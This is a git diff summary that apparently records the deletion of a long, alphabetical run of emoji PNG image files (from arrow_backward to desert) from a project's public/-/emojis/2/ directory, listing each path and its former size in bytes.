-rw-r--r--public/-/emojis/2/arrow_backward.pngbin599 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_double_down.pngbin654 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_double_up.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_down.pngbin550 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_down_small.pngbin551 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_forward.pngbin560 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_heading_down.pngbin726 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_heading_up.pngbin619 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_left.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_lower_left.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_lower_right.pngbin601 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_right.pngbin586 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_right_hook.pngbin676 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_up.pngbin570 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_up_down.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_up_small.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_upper_left.pngbin541 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrow_upper_right.pngbin637 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrows_clockwise.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/arrows_counterclockwise.pngbin678 -> 0 bytes
-rw-r--r--public/-/emojis/2/art.pngbin1250 -> 0 bytes
-rw-r--r--public/-/emojis/2/articulated_lorry.pngbin650 -> 0 bytes
-rw-r--r--public/-/emojis/2/asterisk.pngbin692 -> 0 bytes
-rw-r--r--public/-/emojis/2/asterisk_symbol.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/astonished.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/athletic_shoe.pngbin765 -> 0 bytes
-rw-r--r--public/-/emojis/2/atm.pngbin518 -> 0 bytes
-rw-r--r--public/-/emojis/2/atom.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/avocado.pngbin930 -> 0 bytes
-rw-r--r--public/-/emojis/2/b.pngbin745 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby.pngbin877 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_bottle.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_chick.pngbin813 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_symbol.pngbin670 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_tone1.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_tone2.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_tone3.pngbin837 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_tone4.pngbin810 -> 0 bytes
-rw-r--r--public/-/emojis/2/baby_tone5.pngbin818 -> 0 bytes
-rw-r--r--public/-/emojis/2/back.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/bacon.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/badger.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/badminton.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/bagel.pngbin978 -> 0 bytes
-rw-r--r--public/-/emojis/2/baggage_claim.pngbin590 -> 0 bytes
-rw-r--r--public/-/emojis/2/balance_scale.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/bald.pngbin437 -> 0 bytes
-rw-r--r--public/-/emojis/2/balloon.pngbin682 -> 0 bytes
-rw-r--r--public/-/emojis/2/ballot_box.pngbin837 -> 0 bytes
-rw-r--r--public/-/emojis/2/ballot_box_with_check.pngbin682 -> 0 bytes
-rw-r--r--public/-/emojis/2/bamboo.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/banana.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/bangbang.pngbin416 -> 0 bytes
-rw-r--r--public/-/emojis/2/bank.pngbin666 -> 0 bytes
-rw-r--r--public/-/emojis/2/bar_chart.pngbin515 -> 0 bytes
-rw-r--r--public/-/emojis/2/barber.pngbin600 -> 0 bytes
-rw-r--r--public/-/emojis/2/baseball.pngbin1050 -> 0 bytes
-rw-r--r--public/-/emojis/2/basket.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/basketball.pngbin1169 -> 0 bytes
-rw-r--r--public/-/emojis/2/basketball_man.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/bat.pngbin680 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath_tone1.pngbin799 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath_tone2.pngbin770 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath_tone3.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath_tone4.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/bath_tone5.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/bathtub.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/battery.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/beach.pngbin901 -> 0 bytes
-rw-r--r--public/-/emojis/2/beach_umbrella.pngbin973 -> 0 bytes
-rw-r--r--public/-/emojis/2/bear.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person_tone1.pngbin916 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person_tone2.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person_tone3.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person_tone4.pngbin836 -> 0 bytes
-rw-r--r--public/-/emojis/2/bearded_person_tone5.pngbin826 -> 0 bytes
-rw-r--r--public/-/emojis/2/bed.pngbin427 -> 0 bytes
-rw-r--r--public/-/emojis/2/bee.pngbin1103 -> 0 bytes
-rw-r--r--public/-/emojis/2/beer.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/beers.pngbin1108 -> 0 bytes
-rw-r--r--public/-/emojis/2/beetle.pngbin968 -> 0 bytes
-rw-r--r--public/-/emojis/2/beginner.pngbin480 -> 0 bytes
-rw-r--r--public/-/emojis/2/bell.pngbin775 -> 0 bytes
-rw-r--r--public/-/emojis/2/bellhop.pngbin694 -> 0 bytes
-rw-r--r--public/-/emojis/2/bento.pngbin940 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist.pngbin1246 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist_tone1.pngbin1265 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist_tone2.pngbin1244 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist_tone3.pngbin1184 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist_tone4.pngbin1198 -> 0 bytes
-rw-r--r--public/-/emojis/2/bicyclist_tone5.pngbin1176 -> 0 bytes
-rw-r--r--public/-/emojis/2/bike.pngbin952 -> 0 bytes
-rw-r--r--public/-/emojis/2/bikini.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/billed_cap.pngbin673 -> 0 bytes
-rw-r--r--public/-/emojis/2/biohazard.pngbin1020 -> 0 bytes
-rw-r--r--public/-/emojis/2/bird.pngbin832 -> 0 bytes
-rw-r--r--public/-/emojis/2/birthday.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_circle.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_heart.pngbin546 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_joker.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_large_square.pngbin391 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_medium_small_square.pngbin274 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_medium_square.pngbin312 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_nib.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_small_square.pngbin246 -> 0 bytes
-rw-r--r--public/-/emojis/2/black_square_button.pngbin452 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man.pngbin823 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man_tone1.pngbin820 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man_tone2.pngbin772 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man_tone3.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man_tone4.pngbin788 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_man_tone5.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman.pngbin969 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman_tone1.pngbin932 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman_tone2.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman_tone3.pngbin927 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman_tone4.pngbin978 -> 0 bytes
-rw-r--r--public/-/emojis/2/blond-haired_woman_tone5.pngbin958 -> 0 bytes
-rw-r--r--public/-/emojis/2/blossom.pngbin781 -> 0 bytes
-rw-r--r--public/-/emojis/2/blowfish.pngbin930 -> 0 bytes
-rw-r--r--public/-/emojis/2/blue_book.pngbin315 -> 0 bytes
-rw-r--r--public/-/emojis/2/blue_car.pngbin887 -> 0 bytes
-rw-r--r--public/-/emojis/2/blue_circle.pngbin531 -> 0 bytes
-rw-r--r--public/-/emojis/2/blue_heart.pngbin549 -> 0 bytes
-rw-r--r--public/-/emojis/2/blush.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/boar.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/boat.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/bomb.pngbin826 -> 0 bytes
-rw-r--r--public/-/emojis/2/bone.pngbin343 -> 0 bytes
-rw-r--r--public/-/emojis/2/book.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/bookmark.pngbin600 -> 0 bytes
-rw-r--r--public/-/emojis/2/bookmark_tabs.pngbin632 -> 0 bytes
-rw-r--r--public/-/emojis/2/books.pngbin1191 -> 0 bytes
-rw-r--r--public/-/emojis/2/boom.pngbin947 -> 0 bytes
-rw-r--r--public/-/emojis/2/boot.pngbin655 -> 0 bytes
-rw-r--r--public/-/emojis/2/bouquet.pngbin1017 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow.pngbin934 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_and_arrow.pngbin845 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_tone1.pngbin944 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_tone2.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_tone3.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_tone4.pngbin778 -> 0 bytes
-rw-r--r--public/-/emojis/2/bow_tone5.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/bowl_with_spoon.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/bowling.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/boxing_glove.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy.pngbin804 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy_tone1.pngbin830 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy_tone2.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy_tone3.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy_tone4.pngbin738 -> 0 bytes
-rw-r--r--public/-/emojis/2/boy_tone5.pngbin778 -> 0 bytes
-rw-r--r--public/-/emojis/2/brain.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/bread.pngbin514 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding_tone1.pngbin857 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding_tone2.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding_tone3.pngbin877 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding_tone4.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/breast_feeding_tone5.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/bricks.pngbin530 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil.pngbin1042 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil_tone1.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil_tone2.pngbin976 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil_tone3.pngbin995 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil_tone4.pngbin997 -> 0 bytes
-rw-r--r--public/-/emojis/2/bride_with_veil_tone5.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/bridge_at_night.pngbin921 -> 0 bytes
-rw-r--r--public/-/emojis/2/briefcase.pngbin420 -> 0 bytes
-rw-r--r--public/-/emojis/2/broccoli.pngbin816 -> 0 bytes
-rw-r--r--public/-/emojis/2/broken_heart.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/broom.pngbin435 -> 0 bytes
-rw-r--r--public/-/emojis/2/bug.pngbin1018 -> 0 bytes
-rw-r--r--public/-/emojis/2/bulb.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/bullettrain_front.pngbin685 -> 0 bytes
-rw-r--r--public/-/emojis/2/bullettrain_side.pngbin749 -> 0 bytes
-rw-r--r--public/-/emojis/2/burrito.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/bus.pngbin636 -> 0 bytes
-rw-r--r--public/-/emojis/2/busstop.pngbin343 -> 0 bytes
-rw-r--r--public/-/emojis/2/bust_in_silhouette.pngbin525 -> 0 bytes
-rw-r--r--public/-/emojis/2/busts_in_silhouette.pngbin518 -> 0 bytes
-rw-r--r--public/-/emojis/2/butterfly.pngbin1142 -> 0 bytes
-rw-r--r--public/-/emojis/2/cactus.pngbin568 -> 0 bytes
-rw-r--r--public/-/emojis/2/cake.pngbin949 -> 0 bytes
-rw-r--r--public/-/emojis/2/calendar.pngbin593 -> 0 bytes
-rw-r--r--public/-/emojis/2/calendar_spiral.pngbin632 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me.pngbin526 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me_tone1.pngbin567 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me_tone2.pngbin529 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me_tone3.pngbin486 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me_tone4.pngbin527 -> 0 bytes
-rw-r--r--public/-/emojis/2/call_me_tone5.pngbin524 -> 0 bytes
-rw-r--r--public/-/emojis/2/calling.pngbin1019 -> 0 bytes
-rw-r--r--public/-/emojis/2/camel.pngbin691 -> 0 bytes
-rw-r--r--public/-/emojis/2/camera.pngbin630 -> 0 bytes
-rw-r--r--public/-/emojis/2/camera_with_flash.pngbin931 -> 0 bytes
-rw-r--r--public/-/emojis/2/camping.pngbin1135 -> 0 bytes
-rw-r--r--public/-/emojis/2/cancer.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/candle.pngbin535 -> 0 bytes
-rw-r--r--public/-/emojis/2/candy.pngbin825 -> 0 bytes
-rw-r--r--public/-/emojis/2/canned_food.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/canoe.pngbin548 -> 0 bytes
-rw-r--r--public/-/emojis/2/capital_abcd.pngbin738 -> 0 bytes
-rw-r--r--public/-/emojis/2/capricorn.pngbin682 -> 0 bytes
-rw-r--r--public/-/emojis/2/card_box.pngbin630 -> 0 bytes
-rw-r--r--public/-/emojis/2/card_index.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/carousel_horse.pngbin1281 -> 0 bytes
-rw-r--r--public/-/emojis/2/carrot.pngbin697 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel.pngbin790 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel_tone1.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel_tone2.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel_tone3.pngbin720 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel_tone4.pngbin653 -> 0 bytes
-rw-r--r--public/-/emojis/2/cartwheel_tone5.pngbin686 -> 0 bytes
-rw-r--r--public/-/emojis/2/cat.pngbin855 -> 0 bytes
-rw-r--r--public/-/emojis/2/cat2.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/cd.pngbin881 -> 0 bytes
-rw-r--r--public/-/emojis/2/chains.pngbin847 -> 0 bytes
-rw-r--r--public/-/emojis/2/champagne.pngbin1000 -> 0 bytes
-rw-r--r--public/-/emojis/2/champagne_glass.pngbin821 -> 0 bytes
-rw-r--r--public/-/emojis/2/chart.pngbin615 -> 0 bytes
-rw-r--r--public/-/emojis/2/chart_with_downwards_trend.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/chart_with_upwards_trend.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/checkered_flag.pngbin397 -> 0 bytes
-rw-r--r--public/-/emojis/2/cheese.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/cherries.pngbin974 -> 0 bytes
-rw-r--r--public/-/emojis/2/cherry_blossom.pngbin1168 -> 0 bytes
-rw-r--r--public/-/emojis/2/chess_pawn.pngbin448 -> 0 bytes
-rw-r--r--public/-/emojis/2/chestnut.pngbin1015 -> 0 bytes
-rw-r--r--public/-/emojis/2/chicken.pngbin926 -> 0 bytes
-rw-r--r--public/-/emojis/2/child.pngbin833 -> 0 bytes
-rw-r--r--public/-/emojis/2/child_tone1.pngbin865 -> 0 bytes
-rw-r--r--public/-/emojis/2/child_tone2.pngbin870 -> 0 bytes
-rw-r--r--public/-/emojis/2/child_tone3.pngbin871 -> 0 bytes
-rw-r--r--public/-/emojis/2/child_tone4.pngbin777 -> 0 bytes
-rw-r--r--public/-/emojis/2/child_tone5.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/children_crossing.pngbin690 -> 0 bytes
-rw-r--r--public/-/emojis/2/chipmunk.pngbin1112 -> 0 bytes
-rw-r--r--public/-/emojis/2/chocolate_bar.pngbin863 -> 0 bytes
-rw-r--r--public/-/emojis/2/chopsticks.pngbin596 -> 0 bytes
-rw-r--r--public/-/emojis/2/christmas_tree.pngbin1246 -> 0 bytes
-rw-r--r--public/-/emojis/2/church.pngbin656 -> 0 bytes
-rw-r--r--public/-/emojis/2/cinema.pngbin519 -> 0 bytes
-rw-r--r--public/-/emojis/2/circus_tent.pngbin892 -> 0 bytes
-rw-r--r--public/-/emojis/2/city_dusk.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/city_sunset.pngbin921 -> 0 bytes
-rw-r--r--public/-/emojis/2/cityscape.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/cl.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap_tone1.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap_tone2.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap_tone3.pngbin775 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap_tone4.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/clap_tone5.pngbin692 -> 0 bytes
-rw-r--r--public/-/emojis/2/clapper.pngbin657 -> 0 bytes
-rw-r--r--public/-/emojis/2/classical_building.pngbin726 -> 0 bytes
-rw-r--r--public/-/emojis/2/clipboard.pngbin469 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock.pngbin620 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock1.pngbin900 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock10.pngbin865 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock1030.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock11.pngbin936 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock1130.pngbin848 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock12.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock1230.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock130.pngbin893 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock2.pngbin909 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock230.pngbin963 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock3.pngbin849 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock330.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock4.pngbin953 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock430.pngbin976 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock5.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock530.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock6.pngbin916 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock630.pngbin860 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock7.pngbin894 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock730.pngbin900 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock8.pngbin934 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock830.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock9.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/clock930.pngbin848 -> 0 bytes
-rw-r--r--public/-/emojis/2/closed_book.pngbin548 -> 0 bytes
-rw-r--r--public/-/emojis/2/closed_lock_with_key.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/closed_umbrella.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/cloud.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/cloud_lightning.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/cloud_rain.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/cloud_snow.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/cloud_tornado.pngbin957 -> 0 bytes
-rw-r--r--public/-/emojis/2/clown.pngbin1191 -> 0 bytes
-rw-r--r--public/-/emojis/2/clubs.pngbin566 -> 0 bytes
-rw-r--r--public/-/emojis/2/coat.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/cocktail.pngbin706 -> 0 bytes
-rw-r--r--public/-/emojis/2/coconut.pngbin1132 -> 0 bytes
-rw-r--r--public/-/emojis/2/coffee.pngbin827 -> 0 bytes
-rw-r--r--public/-/emojis/2/coffin.pngbin922 -> 0 bytes
-rw-r--r--public/-/emojis/2/cold_face.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/cold_sweat.pngbin932 -> 0 bytes
-rw-r--r--public/-/emojis/2/comet.pngbin994 -> 0 bytes
-rw-r--r--public/-/emojis/2/compass.pngbin1102 -> 0 bytes
-rw-r--r--public/-/emojis/2/compression.pngbin643 -> 0 bytes
-rw-r--r--public/-/emojis/2/computer.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/confetti_ball.pngbin1691 -> 0 bytes
-rw-r--r--public/-/emojis/2/confounded.pngbin640 -> 0 bytes
-rw-r--r--public/-/emojis/2/confused.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/congratulations.pngbin840 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction.pngbin605 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_site.pngbin620 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker_tone1.pngbin855 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker_tone2.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker_tone3.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker_tone4.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/construction_worker_tone5.pngbin791 -> 0 bytes
-rw-r--r--public/-/emojis/2/control_knobs.pngbin701 -> 0 bytes
-rw-r--r--public/-/emojis/2/convenience_store.pngbin459 -> 0 bytes
-rw-r--r--public/-/emojis/2/cookie.pngbin923 -> 0 bytes
-rw-r--r--public/-/emojis/2/cooking.pngbin845 -> 0 bytes
-rw-r--r--public/-/emojis/2/cool.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop_tone1.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop_tone2.pngbin920 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop_tone3.pngbin880 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop_tone4.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/cop_tone5.pngbin881 -> 0 bytes
-rw-r--r--public/-/emojis/2/copyright.pngbin618 -> 0 bytes
-rw-r--r--public/-/emojis/2/corn.pngbin1075 -> 0 bytes
-rw-r--r--public/-/emojis/2/couch.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/couple.pngbin1131 -> 0 bytes
-rw-r--r--public/-/emojis/2/couple_mm.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/couple_with_heart.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/couple_ww.pngbin905 -> 0 bytes
-rw-r--r--public/-/emojis/2/couplekiss.pngbin972 -> 0 bytes
-rw-r--r--public/-/emojis/2/cow.pngbin891 -> 0 bytes
-rw-r--r--public/-/emojis/2/cow2.pngbin891 -> 0 bytes
-rw-r--r--public/-/emojis/2/cowboy.pngbin878 -> 0 bytes
-rw-r--r--public/-/emojis/2/crab.pngbin1183 -> 0 bytes
-rw-r--r--public/-/emojis/2/crayon.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/credit_card.pngbin404 -> 0 bytes
-rw-r--r--public/-/emojis/2/crescent_moon.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/cricket.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/crocodile.pngbin872 -> 0 bytes
-rw-r--r--public/-/emojis/2/croissant.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/cross.pngbin528 -> 0 bytes
-rw-r--r--public/-/emojis/2/crossed_flags.pngbin784 -> 0 bytes
-rw-r--r--public/-/emojis/2/crossed_swords.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/crown.pngbin882 -> 0 bytes
-rw-r--r--public/-/emojis/2/cruise_ship.pngbin709 -> 0 bytes
-rw-r--r--public/-/emojis/2/cry.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/crying_cat_face.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/crystal_ball.pngbin1060 -> 0 bytes
-rw-r--r--public/-/emojis/2/cucumber.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/cup_with_straw.pngbin768 -> 0 bytes
-rw-r--r--public/-/emojis/2/cupcake.pngbin984 -> 0 bytes
-rw-r--r--public/-/emojis/2/cupid.pngbin863 -> 0 bytes
-rw-r--r--public/-/emojis/2/curling_stone.pngbin823 -> 0 bytes
-rw-r--r--public/-/emojis/2/curly_haired.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/curly_loop.pngbin548 -> 0 bytes
-rw-r--r--public/-/emojis/2/currency_exchange.pngbin698 -> 0 bytes
-rw-r--r--public/-/emojis/2/curry.pngbin961 -> 0 bytes
-rw-r--r--public/-/emojis/2/custard.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/customs.pngbin625 -> 0 bytes
-rw-r--r--public/-/emojis/2/cut_of_meat.pngbin1037 -> 0 bytes
-rw-r--r--public/-/emojis/2/cyclone.pngbin923 -> 0 bytes
-rw-r--r--public/-/emojis/2/dagger.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer.pngbin917 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer_tone1.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer_tone2.pngbin838 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer_tone3.pngbin876 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer_tone4.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancer_tone5.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/dancers.pngbin987 -> 0 bytes
-rw-r--r--public/-/emojis/2/dango.pngbin644 -> 0 bytes
-rw-r--r--public/-/emojis/2/dark_sunglasses.pngbin445 -> 0 bytes
-rw-r--r--public/-/emojis/2/dart.pngbin1006 -> 0 bytes
-rw-r--r--public/-/emojis/2/dash.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/date.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/deciduous_tree.pngbin625 -> 0 bytes
-rw-r--r--public/-/emojis/2/deer.pngbin925 -> 0 bytes
-rw-r--r--public/-/emojis/2/department_store.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/desert.pngbin812 -> 0 bytes
